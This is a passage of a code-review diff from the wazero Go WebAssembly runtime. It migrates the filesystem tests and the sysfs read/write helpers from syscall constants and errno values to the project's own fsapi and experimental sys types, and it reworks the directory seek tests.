|
||||
// Results are inconsistent, so don't validate the opposite.
|
||||
if statSetsIno() {
|
||||
require.Equal(t, tc.expectedIno, ino)
|
||||
}
|
||||
require.Equal(t, tc.expectedIno, ino)
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("OS", func(t *testing.T) {
|
||||
d, errno := OpenOSFile(tmpDir, syscall.O_RDONLY, 0)
|
||||
d, errno := OpenOSFile(tmpDir, fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer d.Close()
|
||||
|
||||
ino, errno := d.Ino()
|
||||
require.EqualErrno(t, 0, errno)
|
||||
if canReadDirInode() {
|
||||
// Results are inconsistent, so don't validate the opposite.
|
||||
if statSetsIno() {
|
||||
require.Equal(t, st.Ino, ino)
|
||||
} else {
|
||||
require.Zero(t, ino)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func canReadDirInode() bool {
|
||||
// statSetsIno returns true if this will set fsapi.Stat_t Ino on stat. The
|
||||
// reverse doesn't mean it won't. Rather it is inconsistent. This is needed
|
||||
// because Windows on Go 1.18 sometimes, but not always returns non-zero inode.
|
||||
func statSetsIno() bool {
|
||||
if runtime.GOOS != "windows" {
|
||||
return true
|
||||
} else {
|
||||
return strings.HasPrefix(runtime.Version(), "go1.20")
|
||||
// Go can read the inode via a Windows file handle, but it is
|
||||
// inconsistent on Go 1.18.
|
||||
// TODO: check on 1.19 can!
|
||||
return platform.IsAtLeastGo120
|
||||
}
|
||||
}
|
||||
|
||||
@@ -206,7 +244,7 @@ func TestFileIsDir(t *testing.T) {
|
||||
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Run("file", func(t *testing.T) {
|
||||
f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0)
|
||||
f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer f.Close()
|
||||
|
||||
@@ -216,7 +254,7 @@ func TestFileIsDir(t *testing.T) {
|
||||
})
|
||||
|
||||
t.Run("dir", func(t *testing.T) {
|
||||
d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0)
|
||||
d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer d.Close()
|
||||
|
||||
@@ -228,7 +266,7 @@ func TestFileIsDir(t *testing.T) {
|
||||
}
|
||||
|
||||
t.Run("OS dir", func(t *testing.T) {
|
||||
d, errno := OpenOSFile(t.TempDir(), syscall.O_RDONLY, 0)
|
||||
d, errno := OpenOSFile(t.TempDir(), fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer d.Close()
|
||||
|
||||
@@ -256,7 +294,7 @@ func TestFileReadAndPread(t *testing.T) {
|
||||
tc := tc
|
||||
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0)
|
||||
f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer f.Close()
|
||||
|
||||
@@ -296,10 +334,6 @@ func TestFilePollRead(t *testing.T) {
|
||||
|
||||
// When there's nothing in the pipe, it isn't ready.
|
||||
ready, errno := rF.PollRead(&timeout)
|
||||
if runtime.GOOS == "windows" {
|
||||
require.EqualErrno(t, syscall.ENOSYS, errno)
|
||||
t.Skip("TODO: windows File.PollRead")
|
||||
}
|
||||
require.EqualErrno(t, 0, errno)
|
||||
require.False(t, ready)
|
||||
|
||||
@@ -350,7 +384,7 @@ func TestFileRead_empty(t *testing.T) {
|
||||
tc := tc
|
||||
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f, errno := OpenFSFile(tc.fs, emptyFile, syscall.O_RDONLY, 0)
|
||||
f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer f.Close()
|
||||
|
||||
@@ -383,13 +417,13 @@ func TestFilePread_Unsupported(t *testing.T) {
|
||||
embedFS, err := fs.Sub(testdata, "testdata")
|
||||
require.NoError(t, err)
|
||||
|
||||
f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, syscall.O_RDONLY, 0)
|
||||
f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer f.Close()
|
||||
|
||||
buf := make([]byte, 3)
|
||||
_, errno = f.Pread(buf, 0)
|
||||
require.EqualErrno(t, syscall.ENOSYS, errno)
|
||||
require.EqualErrno(t, experimentalsys.ENOSYS, errno)
|
||||
}
|
||||
|
||||
func TestFileRead_Errors(t *testing.T) {
|
||||
@@ -397,20 +431,20 @@ func TestFileRead_Errors(t *testing.T) {
|
||||
path := path.Join(t.TempDir(), emptyFile)
|
||||
|
||||
// Open the file write-only
|
||||
flag := syscall.O_WRONLY | syscall.O_CREAT
|
||||
flag := fsapi.O_WRONLY | fsapi.O_CREAT
|
||||
f := requireOpenFile(t, path, flag, 0o600)
|
||||
defer f.Close()
|
||||
buf := make([]byte, 5)
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
fn func(fsapi.File) syscall.Errno
|
||||
fn func(fsapi.File) experimentalsys.Errno
|
||||
}{
|
||||
{name: "Read", fn: func(f fsapi.File) syscall.Errno {
|
||||
{name: "Read", fn: func(f fsapi.File) experimentalsys.Errno {
|
||||
_, errno := f.Read(buf)
|
||||
return errno
|
||||
}},
|
||||
{name: "Pread", fn: func(f fsapi.File) syscall.Errno {
|
||||
{name: "Pread", fn: func(f fsapi.File) experimentalsys.Errno {
|
||||
_, errno := f.Pread(buf, 0)
|
||||
return errno
|
||||
}},
|
||||
@@ -423,7 +457,7 @@ func TestFileRead_Errors(t *testing.T) {
|
||||
t.Run("EBADF when not open for reading", func(t *testing.T) {
|
||||
// The descriptor exists, but not open for reading
|
||||
errno := tc.fn(f)
|
||||
require.EqualErrno(t, syscall.EBADF, errno)
|
||||
require.EqualErrno(t, experimentalsys.EBADF, errno)
|
||||
})
|
||||
testEISDIR(t, tc.fn)
|
||||
})
|
||||
@@ -431,15 +465,25 @@ func TestFileRead_Errors(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestFileSeek(t *testing.T) {
|
||||
dirFS, embedFS, mapFS := dirEmbedMapFS(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
dirFS, embedFS, mapFS := dirEmbedMapFS(t, tmpDir)
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
fs fs.FS
|
||||
name string
|
||||
openFile func(string) (fsapi.File, experimentalsys.Errno)
|
||||
}{
|
||||
{name: "os.DirFS", fs: dirFS},
|
||||
{name: "embed.api.FS", fs: embedFS},
|
||||
{name: "fstest.MapFS", fs: mapFS},
|
||||
{name: "fsFile os.DirFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
|
||||
return OpenFSFile(dirFS, name, fsapi.O_RDONLY, 0)
|
||||
}},
|
||||
{name: "fsFile embed.api.FS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
|
||||
return OpenFSFile(embedFS, name, fsapi.O_RDONLY, 0)
|
||||
}},
|
||||
{name: "fsFile fstest.MapFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
|
||||
return OpenFSFile(mapFS, name, fsapi.O_RDONLY, 0)
|
||||
}},
|
||||
{name: "osFile", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
|
||||
return OpenOSFile(path.Join(tmpDir, name), fsapi.O_RDONLY, 0o666)
|
||||
}},
|
||||
}
|
||||
|
||||
buf := make([]byte, 3)
|
||||
@@ -448,19 +492,19 @@ func TestFileSeek(t *testing.T) {
|
||||
tc := tc
|
||||
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0)
|
||||
f, errno := tc.openFile(wazeroFile)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer f.Close()
|
||||
|
||||
// Shouldn't be able to use an invalid whence
|
||||
_, errno = f.Seek(0, io.SeekEnd+1)
|
||||
require.EqualErrno(t, syscall.EINVAL, errno)
|
||||
require.EqualErrno(t, experimentalsys.EINVAL, errno)
|
||||
_, errno = f.Seek(0, -1)
|
||||
require.EqualErrno(t, syscall.EINVAL, errno)
|
||||
require.EqualErrno(t, experimentalsys.EINVAL, errno)
|
||||
|
||||
// Shouldn't be able to seek before the file starts.
|
||||
_, errno = f.Seek(-1, io.SeekStart)
|
||||
require.EqualErrno(t, syscall.EINVAL, errno)
|
||||
require.EqualErrno(t, experimentalsys.EINVAL, errno)
|
||||
|
||||
requireRead(t, f, buf) // read 3 bytes
|
||||
|
||||
@@ -491,29 +535,38 @@ func TestFileSeek(t *testing.T) {
|
||||
require.Equal(t, "o\n", string(buf[:2]))
|
||||
|
||||
t.Run("directory seek to zero", func(t *testing.T) {
|
||||
d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0)
|
||||
dotF, errno := tc.openFile(".")
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer d.Close()
|
||||
defer dotF.Close()
|
||||
|
||||
_, errno = d.Seek(0, io.SeekStart)
|
||||
dirents, errno := dotF.Readdir(-1)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
direntCount := len(dirents)
|
||||
require.False(t, direntCount == 0)
|
||||
|
||||
// rewind via seek to zero
|
||||
newOffset, errno := dotF.Seek(0, io.SeekStart)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
require.Zero(t, newOffset)
|
||||
|
||||
// redundantly seek to zero again
|
||||
newOffset, errno = dotF.Seek(0, io.SeekStart)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
require.Zero(t, newOffset)
|
||||
|
||||
// We should be able to read again
|
||||
dirents, errno = dotF.Readdir(-1)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
require.Equal(t, direntCount, len(dirents))
|
||||
})
|
||||
|
||||
seekToZero := func(f fsapi.File) experimentalsys.Errno {
|
||||
_, errno := f.Seek(0, io.SeekStart)
|
||||
return errno
|
||||
}
|
||||
testEBADFIfFileClosed(t, seekToZero)
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("os.File directory seek to zero", func(t *testing.T) {
|
||||
d := requireOpenFile(t, os.TempDir(), syscall.O_RDONLY|fsapi.O_DIRECTORY, 0o666)
|
||||
defer d.Close()
|
||||
|
||||
_, errno := d.Seek(0, io.SeekStart)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
})
|
||||
|
||||
seekToZero := func(f fsapi.File) syscall.Errno {
|
||||
_, errno := f.Seek(0, io.SeekStart)
|
||||
return errno
|
||||
}
|
||||
testEBADFIfFileClosed(t, seekToZero)
|
||||
}
|
||||
|
||||
func requireSeek(t *testing.T, f fsapi.File, off int64, whence int) int64 {
|
||||
@@ -538,7 +591,7 @@ func TestFileSeek_empty(t *testing.T) {
|
||||
tc := tc
|
||||
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f, errno := OpenFSFile(tc.fs, emptyFile, syscall.O_RDONLY, 0)
|
||||
f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer f.Close()
|
||||
|
||||
@@ -561,19 +614,19 @@ func TestFileSeek_Unsupported(t *testing.T) {
|
||||
embedFS, err := fs.Sub(testdata, "testdata")
|
||||
require.NoError(t, err)
|
||||
|
||||
f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, syscall.O_RDONLY, 0)
|
||||
f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer f.Close()
|
||||
|
||||
_, errno = f.Seek(0, io.SeekCurrent)
|
||||
require.EqualErrno(t, syscall.ENOSYS, errno)
|
||||
require.EqualErrno(t, experimentalsys.ENOSYS, errno)
|
||||
}
|
||||
|
||||
func TestFileWriteAndPwrite(t *testing.T) {
|
||||
// fsapi.FS doesn't support writes, and there is no other built-in
|
||||
// implementation except os.File.
|
||||
path := path.Join(t.TempDir(), wazeroFile)
|
||||
f := requireOpenFile(t, path, syscall.O_RDWR|os.O_CREATE, 0o600)
|
||||
f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
|
||||
defer f.Close()
|
||||
|
||||
text := "wazero"
|
||||
@@ -626,20 +679,20 @@ func TestFileWrite_empty(t *testing.T) {
|
||||
// fsapi.FS doesn't support writes, and there is no other built-in
|
||||
// implementation except os.File.
|
||||
path := path.Join(t.TempDir(), emptyFile)
|
||||
f := requireOpenFile(t, path, syscall.O_RDWR|os.O_CREATE, 0o600)
|
||||
f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
|
||||
defer f.Close()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
fn func(fsapi.File, []byte) (int, syscall.Errno)
|
||||
fn func(fsapi.File, []byte) (int, experimentalsys.Errno)
|
||||
}{
|
||||
{name: "Write", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
|
||||
{name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
|
||||
return f.Write(buf)
|
||||
}},
|
||||
{name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
|
||||
{name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
|
||||
return f.Pwrite(buf, 0)
|
||||
}},
|
||||
{name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
|
||||
{name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
|
||||
return f.Pwrite(buf, 3)
|
||||
}},
|
||||
}
|
||||
@@ -666,19 +719,19 @@ func TestFileWrite_Unsupported(t *testing.T) {
|
||||
embedFS, err := fs.Sub(testdata, "testdata")
|
||||
require.NoError(t, err)
|
||||
|
||||
// Use syscall.O_RDWR so that it fails due to type not flags
|
||||
f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, syscall.O_RDWR, 0)
|
||||
// Use fsapi.O_RDWR so that it fails due to type not flags
|
||||
f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, fsapi.O_RDWR, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer f.Close()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
fn func(fsapi.File, []byte) (int, syscall.Errno)
|
||||
fn func(fsapi.File, []byte) (int, experimentalsys.Errno)
|
||||
}{
|
||||
{name: "Write", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
|
||||
{name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
|
||||
return f.Write(buf)
|
||||
}},
|
||||
{name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) {
|
||||
{name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
|
||||
return f.Pwrite(buf, 0)
|
||||
}},
|
||||
}
|
||||
@@ -690,7 +743,7 @@ func TestFileWrite_Unsupported(t *testing.T) {
|
||||
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
_, errno := tc.fn(f, buf)
|
||||
require.EqualErrno(t, syscall.ENOSYS, errno)
|
||||
require.EqualErrno(t, experimentalsys.ENOSYS, errno)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -703,20 +756,20 @@ func TestFileWrite_Errors(t *testing.T) {
|
||||
require.NoError(t, of.Close())
|
||||
|
||||
// Open the file read-only
|
||||
flag := syscall.O_RDONLY
|
||||
flag := fsapi.O_RDONLY
|
||||
f := requireOpenFile(t, path, flag, 0o600)
|
||||
defer f.Close()
|
||||
buf := []byte("wazero")
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
fn func(fsapi.File) syscall.Errno
|
||||
fn func(fsapi.File) experimentalsys.Errno
|
||||
}{
|
||||
{name: "Write", fn: func(f fsapi.File) syscall.Errno {
|
||||
{name: "Write", fn: func(f fsapi.File) experimentalsys.Errno {
|
||||
_, errno := f.Write(buf)
|
||||
return errno
|
||||
}},
|
||||
{name: "Pwrite", fn: func(f fsapi.File) syscall.Errno {
|
||||
{name: "Pwrite", fn: func(f fsapi.File) experimentalsys.Errno {
|
||||
_, errno := f.Pwrite(buf, 0)
|
||||
return errno
|
||||
}},
|
||||
@@ -729,7 +782,7 @@ func TestFileWrite_Errors(t *testing.T) {
|
||||
t.Run("EBADF when not open for writing", func(t *testing.T) {
|
||||
// The descriptor exists, but not open for writing
|
||||
errno := tc.fn(f)
|
||||
require.EqualErrno(t, syscall.EBADF, errno)
|
||||
require.EqualErrno(t, experimentalsys.EBADF, errno)
|
||||
})
|
||||
testEISDIR(t, tc.fn)
|
||||
})
|
||||
@@ -744,14 +797,14 @@ func TestFileDatasync_NoError(t *testing.T) {
|
||||
testSync_NoError(t, fsapi.File.Datasync)
|
||||
}
|
||||
|
||||
func testSync_NoError(t *testing.T, sync func(fsapi.File) syscall.Errno) {
|
||||
func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) {
|
||||
roPath := "file_test.go"
|
||||
ro, errno := OpenFSFile(embedFS, roPath, syscall.O_RDONLY, 0)
|
||||
ro, errno := OpenFSFile(embedFS, roPath, fsapi.O_RDONLY, 0)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer ro.Close()
|
||||
|
||||
rwPath := path.Join(t.TempDir(), "datasync")
|
||||
rw, errno := OpenOSFile(rwPath, syscall.O_CREAT|syscall.O_RDWR, 0o600)
|
||||
rw, errno := OpenOSFile(rwPath, fsapi.O_CREAT|fsapi.O_RDWR, 0o600)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
defer rw.Close()
|
||||
|
||||
@@ -784,10 +837,10 @@ func TestFileDatasync(t *testing.T) {
|
||||
// testSync doesn't guarantee sync works because the operating system may
|
||||
// sync anyway. There is no test in Go for syscall.Fdatasync, but closest is
|
||||
// similar to below. Effectively, this only tests that things don't error.
|
||||
func testSync(t *testing.T, sync func(fsapi.File) syscall.Errno) {
|
||||
func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) {
|
||||
// Even though it is invalid, try to sync a directory
|
||||
dPath := t.TempDir()
|
||||
d := requireOpenFile(t, dPath, syscall.O_RDONLY, 0)
|
||||
d := requireOpenFile(t, dPath, fsapi.O_RDONLY, 0)
|
||||
defer d.Close()
|
||||
|
||||
errno := sync(d)
|
||||
@@ -795,7 +848,7 @@ func testSync(t *testing.T, sync func(fsapi.File) syscall.Errno) {
|
||||
|
||||
fPath := path.Join(dPath, t.Name())
|
||||
|
||||
f := requireOpenFile(t, fPath, syscall.O_RDWR|os.O_CREATE, 0o600)
|
||||
f := requireOpenFile(t, fPath, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
|
||||
defer f.Close()
|
||||
|
||||
expected := "hello world!"
|
||||
@@ -876,7 +929,7 @@ func TestFileTruncate(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
truncateToZero := func(f fsapi.File) syscall.Errno {
|
||||
truncateToZero := func(f fsapi.File) experimentalsys.Errno {
|
||||
return f.Truncate(0)
|
||||
}
|
||||
|
||||
@@ -894,7 +947,7 @@ func TestFileTruncate(t *testing.T) {
|
||||
defer f.Close()
|
||||
|
||||
errno := f.Truncate(-1)
|
||||
require.EqualErrno(t, syscall.EINVAL, errno)
|
||||
require.EqualErrno(t, experimentalsys.EINVAL, errno)
|
||||
})
|
||||
}
|
||||
|
||||
@@ -903,7 +956,7 @@ func TestFileUtimens(t *testing.T) {
|
||||
case "linux", "darwin": // supported
|
||||
case "freebsd": // TODO: support freebsd w/o CGO
|
||||
case "windows":
|
||||
if !platform.IsGo120 {
|
||||
if !platform.IsAtLeastGo120 {
|
||||
t.Skip("windows only works after Go 1.20") // TODO: possibly 1.19 ;)
|
||||
}
|
||||
default: // expect ENOSYS and callers need to fall back to Utimens
|
||||
@@ -912,10 +965,10 @@ func TestFileUtimens(t *testing.T) {
|
||||
|
||||
testUtimens(t, true)
|
||||
|
||||
testEBADFIfFileClosed(t, func(f fsapi.File) syscall.Errno {
|
||||
testEBADFIfFileClosed(t, func(f fsapi.File) experimentalsys.Errno {
|
||||
return f.Utimens(nil)
|
||||
})
|
||||
testEBADFIfDirClosed(t, func(d fsapi.File) syscall.Errno {
|
||||
testEBADFIfDirClosed(t, func(d fsapi.File) experimentalsys.Errno {
|
||||
return d.Utimens(nil)
|
||||
})
|
||||
}
|
||||
@@ -989,18 +1042,18 @@ func TestNewStdioFile(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool {
|
||||
func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
|
||||
return t.Run("EBADF if dir closed", func(t *testing.T) {
|
||||
d := requireOpenFile(t, t.TempDir(), syscall.O_RDONLY, 0o755)
|
||||
d := requireOpenFile(t, t.TempDir(), fsapi.O_RDONLY, 0o755)
|
||||
|
||||
// close the directory underneath
|
||||
require.EqualErrno(t, 0, d.Close())
|
||||
|
||||
require.EqualErrno(t, syscall.EBADF, fn(d))
|
||||
require.EqualErrno(t, experimentalsys.EBADF, fn(d))
|
||||
})
|
||||
}
|
||||
|
||||
func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool {
|
||||
func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
|
||||
return t.Run("EBADF if file closed", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
@@ -1009,28 +1062,28 @@ func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool
|
||||
// close the file underneath
|
||||
require.EqualErrno(t, 0, f.Close())
|
||||
|
||||
require.EqualErrno(t, syscall.EBADF, fn(f))
|
||||
require.EqualErrno(t, experimentalsys.EBADF, fn(f))
|
||||
})
|
||||
}
|
||||
|
||||
func testEISDIR(t *testing.T, fn func(fsapi.File) syscall.Errno) bool {
|
||||
func testEISDIR(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
|
||||
return t.Run("EISDIR if directory", func(t *testing.T) {
|
||||
f := requireOpenFile(t, os.TempDir(), syscall.O_RDONLY|fsapi.O_DIRECTORY, 0o666)
|
||||
f := requireOpenFile(t, os.TempDir(), fsapi.O_RDONLY|fsapi.O_DIRECTORY, 0o666)
|
||||
defer f.Close()
|
||||
|
||||
require.EqualErrno(t, syscall.EISDIR, fn(f))
|
||||
require.EqualErrno(t, experimentalsys.EISDIR, fn(f))
|
||||
})
|
||||
}
|
||||
|
||||
func openForWrite(t *testing.T, path string, content []byte) fsapi.File {
|
||||
require.NoError(t, os.WriteFile(path, content, 0o0666))
|
||||
f := requireOpenFile(t, path, syscall.O_RDWR, 0o666)
|
||||
f := requireOpenFile(t, path, fsapi.O_RDWR, 0o666)
|
||||
_, errno := f.Write(content)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
return f
|
||||
}
|
||||
|
||||
func requireOpenFile(t *testing.T, path string, flag int, perm fs.FileMode) fsapi.File {
|
||||
func requireOpenFile(t *testing.T, path string, flag fsapi.Oflag, perm fs.FileMode) fsapi.File {
|
||||
f, errno := OpenOSFile(path, flag, perm)
|
||||
require.EqualErrno(t, 0, errno)
|
||||
return f
|
||||
|
||||
+17
-4
@@ -5,17 +5,30 @@ package sysfs
|
||||
import (
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
)
|
||||
|
||||
const NonBlockingFileIoSupported = true
|
||||
const (
|
||||
nonBlockingFileReadSupported = true
|
||||
nonBlockingFileWriteSupported = true
|
||||
)
|
||||
|
||||
// readFd exposes syscall.Read.
|
||||
func readFd(fd uintptr, buf []byte) (int, syscall.Errno) {
|
||||
func readFd(fd uintptr, buf []byte) (int, sys.Errno) {
|
||||
if len(buf) == 0 {
|
||||
return 0, 0 // Short-circuit 0-len reads.
|
||||
}
|
||||
n, err := syscall.Read(int(fd), buf)
|
||||
errno := platform.UnwrapOSError(err)
|
||||
errno := sys.UnwrapOSError(err)
|
||||
return n, errno
|
||||
}
|
||||
|
||||
// writeFd exposes syscall.Write.
|
||||
func writeFd(fd uintptr, buf []byte) (int, sys.Errno) {
|
||||
if len(buf) == 0 {
|
||||
return 0, 0 // Short-circuit 0-len writes.
|
||||
}
|
||||
n, err := syscall.Write(int(fd), buf)
|
||||
errno := sys.UnwrapOSError(err)
|
||||
return n, errno
|
||||
}
|
||||
+13
-5
@@ -1,12 +1,20 @@
|
||||
//go:build !unix && !linux && !darwin
|
||||
//go:build !unix && !linux && !darwin && !windows
|
||||
|
||||
package sysfs
|
||||
|
||||
import "syscall"
|
||||
import "github.com/tetratelabs/wazero/experimental/sys"
|
||||
|
||||
const NonBlockingFileIoSupported = false
|
||||
const (
|
||||
nonBlockingFileReadSupported = false
|
||||
nonBlockingFileWriteSupported = false
|
||||
)
|
||||
|
||||
// readFd returns ENOSYS on unsupported platforms.
|
||||
func readFd(fd uintptr, buf []byte) (int, syscall.Errno) {
|
||||
return -1, syscall.ENOSYS
|
||||
func readFd(fd uintptr, buf []byte) (int, sys.Errno) {
|
||||
return -1, sys.ENOSYS
|
||||
}
|
||||
|
||||
// writeFd returns ENOSYS on unsupported platforms.
|
||||
func writeFd(fd uintptr, buf []byte) (int, sys.Errno) {
|
||||
return -1, sys.ENOSYS
|
||||
}
|
||||
Loaded 100 of 208 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user